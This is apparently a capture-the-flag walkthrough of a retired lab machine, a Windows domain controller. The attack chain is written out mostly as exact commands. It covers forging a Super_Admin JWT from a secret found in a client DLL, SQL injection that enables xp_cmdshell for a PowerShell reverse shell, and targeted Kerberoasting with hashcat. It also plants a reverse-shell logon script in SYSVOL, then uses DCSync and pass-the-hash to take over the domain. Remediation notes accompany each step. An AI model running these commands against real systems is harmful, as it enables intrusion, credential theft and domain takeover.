Blazorized
Summary
I mapped blazorized-hard as a Windows Active Directory domain controller and found its public Blazor WebAssembly site shipped a helper DLL containing a hardcoded JWT signing secret. Forging a Super_Admin token with that secret unlocked the admin panel, where a SQL-injectable search field allowed stacked queries that enabled xp_cmdshell and delivered a reverse shell as a low-privileged service account, yielding user.txt. From that foothold, an over-broad WriteSPN permission let me targeted-Kerberoast a second account and crack its ticket offline, gaining WinRM access as that account.
A further ACL misconfiguration let that account rewrite a privileged account's AD logon-script path and drop a malicious script into the writable SYSVOL scripts share, catching a shell as a member of a custom admin-delegated group. That group held DCSync rights, letting me dump the Administrator password hash directly from AD and pass it straight into WinRM for full domain compromise and root.txt.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export HASH="<the-hash-you-recovered, for Administrator>"Some commands also carry a value in angle brackets — <base64_revshell>, <baseline_size>, <cracked_password>, <forged_jwt>, <nu_1055_pw>, <recovered_secret> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Full TCP port sweep
$ nmap -p- --min-rate=1000 $TARGETService/version detection on discovered ports
$ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,1433,3268,5985,9389 $TARGET$ echo "$TARGET blazorized.htb DC1.blazorized.htb" | sudo tee -a /etc/hostsDiscovers admin.blazorized.htb and api.blazorized.htb
$ ffuf -w subdomains.txt -u http://$TARGET -H 'Host: FUZZ.blazorized.htb' -fs <baseline_size>Exact commands 4
Pull the WASM helper assembly
$ curl -s http://blazorized.htb/_framework/Blazorized.Helpers.dll -o Blazorized.Helpers.dllDecompile to recover the JWT class, HS512 key, and claim layout
$ ilspycmd Blazorized.Helpers.dll -o ./decompiledForge the Super_Admin token; replace <recovered_secret> with the key found in the DLL
$ python3 -c "import jwt,time; print(jwt.encode({'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress':'superadmin@blazorized.htb','http://schemas.microsoft.com/ws/2008/06/identity/claims/role':'Super_Admin','iss':'http://api.blazorized.htb','aud':'http://admin.blazorized.htb','exp':int(time.time())+999999}, '<recovered_secret>', algorithm='HS512'))"Confirm privileged API access with the forged token
$ curl -sS -i -H 'Host: api.blazorized.htb' -H 'Authorization: Bearer <forged_jwt>' http://$TARGET/FixRemove the hardcoded JWT signing secret from the client-delivered assemblyCritical
Exact commands 5
Confirm SQLi in the 'Check for Duplicate' field
$ title=' or 1=1;-- -Enable xp_cmdshell via stacked query
$ title='; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--Deliver a base64-encoded PowerShell reverse shell
$ title='; EXEC xp_cmdshell 'powershell -enc <base64_revshell>';--Catch the reverse shell
$ rlwrap nc -lvnp 443Prove access, then read <user.txt>
$ whoami /all && type C:\Users\nu_1055\Desktop\user.txtFixEliminate SQL injection and disable xp_cmdshellCritical
Exact commands 4
Collect AD relationships from the foothold
$ bloodhound-python -u nu_1055 -p '<nu_1055_pw>' -d blazorized.htb -ns $TARGET -c AllPowerView: set a throwaway SPN to make the account kerberoastable
$ Set-DomainObject -Identity RSA_4810 -Set @{serviceprincipalname='nonexistent/BLAH'}Request and format the TGS for offline cracking
$ Get-DomainUser RSA_4810 | Get-DomainSPNTicket -Format HashcatCrack the Kerberos TGS hash
$ hashcat -m 13100 rsa4810.tgs rockyou.txtFixRemove unnecessary WriteSPN delegation on user accountsHigh
Exact commands 1
Interactive shell as RSA_4810
$ evil-winrm -i $TARGET -u RSA_4810 -p '<cracked_password>'FixEnforce strong, unique passwords on domain service accountsHigh
Exact commands 4
PowerView: enumerate abusable ACLs
$ Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -eq 'RSA_4810'}Drop a PowerShell reverse-shell .bat into the writable scripts folder
$ copy revshell.bat \\blazorized.htb\sysvol\blazorized.htb\scripts\<GUID>\revshell.batPoint SSA_6010's logon script at the planted file
$ Set-ADUser SSA_6010 -ScriptPath '<GUID>\revshell.bat'Catch the shell when SSA_6010 next logs on (fires roughly every minute)
$ rlwrap nc -lvnp 4444FixLock down write access to SYSVOL scripts and user ScriptPath attributesCritical
Exact commands 3
DCSync the Administrator credential using SSA_6010's replication rights
$ impacket-secretsdump -just-dc-user administrator blazorized.htb/SSA_6010@$TARGETPass-the-hash to confirm execution and read <root.txt>
$ nxc winrm $TARGET -u Administrator -H $HASH -d blazorized.htb -X 'Get-Content C:\Users\Administrator\Desktop\root.txt'Full interactive Administrator shell
$ evil-winrm -i $TARGET -u Administrator -H $HASHFixRestrict Active Directory replication (DCSync) rights to domain controllers and Tier-0 adminsCritical
Attack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2022 16.00.1115.00; RTM+ |
| 3268/tcp | ldap recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49672/tcp | unknown recon-sweep-discovered |
| 49678/tcp | unknown recon-sweep-discovered |
| 49679/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49700/tcp | unknown recon-sweep-discovered |
| 49720/tcp | unknown recon-sweep-discovered |
| 49776/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.